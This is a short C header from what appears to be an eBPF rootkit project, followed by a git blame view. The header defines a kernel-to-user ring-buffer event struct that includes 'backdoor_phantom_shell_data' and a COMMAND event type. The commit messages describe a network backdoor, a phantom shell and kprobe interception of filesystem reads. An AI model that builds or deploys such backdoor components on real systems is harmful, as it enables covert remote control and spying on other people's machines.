src/common/map_common.h

#ifndef __MAP_COMMON_H
#define __MAP_COMMON_H

#include "struct_common.h"

// Ring buffer for kernel->user communication
#define RB_EVENT_MAX_MESSAGE_SIZE 512
typedef enum {
    INFO,
    DEBUG,
    EXIT,
    ERROR,
    COMMAND,
    PSH_UPDATE
} event_type_t;

struct rb_event {
	int pid;
    char message[RB_EVENT_MAX_MESSAGE_SIZE];
    int code;
    struct backdoor_phantom_shell_data bps_data;
    event_type_t event_type;
};

#endif
Added new kprobe to the filesystem ebpf section. Now receiving read events, and storing them in a map for later use, along with a reference to the user-space memory buffer 2022-01-14 21:18:51 -05:00			`#ifndef __MAP_COMMON_H`
			`#define __MAP_COMMON_H`

Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready 2022-05-10 23:04:19 -04:00			`#include "struct_common.h"`

Added new kprobe to the filesystem ebpf section. Now receiving read events, and storing them in a map for later use, along with a reference to the user-space memory buffer 2022-01-14 21:18:51 -05:00			`// Ring buffer for kernel->user communication`
Added new map structure, in preparation for new internal maps storing requested commands via the network backdoor 2022-02-14 20:08:30 -05:00			`#define RB_EVENT_MAX_MESSAGE_SIZE 512`
Added new kprobe to the filesystem ebpf section. Now receiving read events, and storing them in a map for later use, along with a reference to the user-space memory buffer 2022-01-14 21:18:51 -05:00			`typedef enum {`
			`INFO,`
			`DEBUG,`
			`EXIT,`
Completed message passing of commands to userspace via ebpf ringbuffer 2022-05-05 13:22:47 -04:00			`ERROR,`
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready 2022-05-10 23:04:19 -04:00			`COMMAND,`
			`PSH_UPDATE`
Added new kprobe to the filesystem ebpf section. Now receiving read events, and storing them in a map for later use, along with a reference to the user-space memory buffer 2022-01-14 21:18:51 -05:00			`} event_type_t;`

			`struct rb_event {`
			`int pid;`
			`char message[RB_EVENT_MAX_MESSAGE_SIZE];`
			`int code;`
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready 2022-05-10 23:04:19 -04:00			`struct backdoor_phantom_shell_data bps_data;`
Added new kprobe to the filesystem ebpf section. Now receiving read events, and storing them in a map for later use, along with a reference to the user-space memory buffer 2022-01-14 21:18:51 -05:00			`event_type_t event_type;`
			`};`

			`#endif`